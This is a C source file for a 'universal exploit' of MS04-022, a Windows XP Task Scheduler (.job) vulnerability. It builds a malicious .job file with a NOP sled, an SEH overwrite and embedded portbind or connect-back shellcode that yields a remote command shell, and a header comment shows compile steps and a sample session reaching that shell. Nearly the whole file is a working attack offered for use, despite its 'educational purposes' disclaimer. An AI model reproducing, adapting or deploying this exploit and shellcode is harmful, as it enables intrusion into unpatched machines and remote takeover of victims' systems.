home *** CD-ROM | disk | FTP | other *** search
- /* HOD-ms04022-task-expl.c:
- *
- * (MS04-022) Microsoft Windows XP Task Scheduler (.job)
- Universal Exploit
- *
- * Exploit version 0.1 coded by
- *
- *
- * .::[ houseofdabus ]::.
- *
- *
- * [at inbox dot ru]
- * -------------------------------------------------------------------
- * Tested on:
- * - Internet Explorer 6.0 (SP1) (iexplore.exe)
- * - Explorer (explorer.exe)
- * - Windows XP SP0, SP1
- *
- * -------------------------------------------------------------------
- * Compile:
- * Win32/VC++ : cl HOD-ms04022-task-expl.c
- * Win32/cygwin: gcc HOD-ms04022-task-expl.c
- -lws2_32.lib
- * Linux : gcc -o HOD-ms04022-task-expl
- HOD-ms04022-task-expl.c
- *
- * -------------------------------------------------------------------
- * Command Line Parameters/Arguments:
- *
- * HOD.exe <file> <shellcode> <bind/connectback port>
- [connectback IP]
- *
- * Shellcode:
- * 1 - Portbind shellcode
- * 2 - Connectback shellcode
- *
- * -------------------------------------------------------------------
- * Example:
- *
- * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777
- *
- * (MS04-022) Microsoft Windows XP Task Scheduler (.job)
- Universal Exploit
- *
- * --- Coded by .::[ houseofdabus ]::. ---
- *
- * [*] Shellcode: Portbind, port = 7777
- * [*] Generate file: expl.job
- *
- * C:\>
- *
- * start IE -> C:\
- *
- * C:\>telnet localhost 7777
- * Microsoft Windows XP [?????? 5.1.2600]
- * (?) ?????????? ??????????, 1985-2001.
- *
- * C:\Documents and Settings\v.X\??????? ????>
- *
- * -------------------------------------------------------------------
- *
- * This is provided as proof-of-concept code only for
- educational
- * purposes and testing by authorized individuals with
- permission to
- * do so.
- *
- */
-
- /* #define _WIN32 */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #ifdef _WIN32
- #pragma comment(lib,"ws2_32")
- #include <winsock2.h>
-
- #else
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #endif
-
-
-
- unsigned char jobfile[] =
-
- /* job header */
- "\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
- "\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
- "\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
- "\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00"
-
- /* length */
- "\x11\x11"
-
- /* garbage C:\... */
- /* unicode */
- "\x43\x00\x3A\x00\x5C\x00\x61\x00"
- "\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
- "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
-
- "\x1E\x82\xDC\x77"
-
- /* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */
- /* for Win2k use jmp ebx or call ebx */
-
- "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
- "\x80\x31\x31\x80" /* generate exception */
-
- "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
- "\x90\x90";
-
-
-
- /* portbind shellcode */
- unsigned char portbindsc[] =
- "\x90\x90"
- "\x90\x90\xEB\x06" /* overwrite SEH-frame */
- "\x90\x90"
- "\x90\x90\x90\x90"
- "\x90\x90\x90\x90"
-
- "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
- "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
- "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
- "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
- "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
- "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
- "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
- "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
- "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
- "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
- "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
- "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
- "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
- "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
- "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
- "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
- "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
- "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
- "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
- "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
- "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
- "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
- "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
- "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
- "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
- "\x28\xff\x55\x0c";
-
-
-
- /* connectback shellcode */
- unsigned char connectbacksc[] =
- "\x90\x90"
- "\x90\x90\xEB\x06" /* overwrite SEH-frame */
- "\x90\x90"
- "\x90\x90\x90\x90"
- "\x90\x90\x90\x90"
-
- "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
- "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
- "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
- "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
- "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
- "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
- "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
- "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
- "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
- "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
- "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
- "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
- "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
- "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
- "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
- "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
- "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
- "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
- "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
- "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
- "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
- "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
- "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
- "\x77\x38\xff\x55\x20\xff\x55\x0c";
-
-
-
- /* use this form
- unsigned char sc[] =
- "\x90\x90"
- "\x90\x90\xEB\x06" - overwrite SEH-frame
- "\x90\x90"
- "\x90\x90\x90\x90"
- "\x90\x90\x90\x90"
-
- "... code ...";
- */
-
- unsigned char endofjob[] = "\x00\x00\x00\x00";
-
- #define SET_PORTBIND_PORT(buf, port) *(unsigned short
- *)(((buf)+300+16)) = (port)
- #define SET_CONNECTBACK_IP(buf, ip) *(unsigned
- long *)(((buf)+283+16)) = (ip)
- #define SET_CONNECTBACK_PORT(buf, port) *(unsigned
- short *)(((buf)+290+16)) = (port)
-
- void
- usage(char *prog)
- {
- printf("Usage:\n");
- printf("%s <file> <shellcode> <bind/connectback port>
- [connectback IP]\n", prog);
- printf("\nShellcode:\n");
- printf(" 1 - Portbind shellcode\n");
- printf(" 2 - Connectback shellcode\n\n");
- exit(0);
- }
-
- int
- main(int argc, char **argv)
- {
- unsigned short strlen;
- unsigned short port;
- unsigned long ip, sc;
- FILE *fp, *fp2;
-
- printf("\n(MS04-022) Microsoft Windows XP Task
- Scheduler (.job) Universal Exploit\n\n");
- printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
-
- if (argc < 4) usage(argv[0]);
-
- sc = atoi(argv[2]);
- if ( ((sc == 2) && (argc < 5)) || (sc > 2))
- usage(argv[0]);
-
- fp = fopen(argv[1], "wb");
- if (fp == NULL) {
- printf("[-] error: can\'t create file: %s\n", argv[1]);
- exit(0);
- }
-
- /* header & garbage */
- fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
- fseek(fp, 39*16, SEEK_SET);
-
- port = atoi(argv[3]);
- printf("[*] Shellcode: ");
- if (sc == 1) {
- SET_PORTBIND_PORT(portbindsc, htons(port));
- printf("Portbind, port = %u\n", port);
- fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp);
- fwrite(endofjob, 1, 4, fp);
- fseek(fp, 70, SEEK_SET);
- /* calculate length (see header) */
- strlen =
- (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2;
- }
- else {
- ip = inet_addr(argv[4]);
- SET_CONNECTBACK_IP(connectbacksc, ip);
- SET_CONNECTBACK_PORT(connectbacksc,
- htons(port));
- printf("Connectback, port = %u, IP = %s\n", port,
- argv[4]);
- fwrite(connectbacksc, 1, sizeof(connectbacksc)-1,
- fp);
- fwrite(endofjob, 1, 4, fp);
- fseek(fp, 70, SEEK_SET);
- /* calculate length (see header) */
- strlen =
- (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2;
- }
-
- printf("[*] Generate file: %s\n", argv[1]);
- fwrite(&strlen, 1, 2, fp);
- fclose(fp);
-
- return 0;
- }
-
-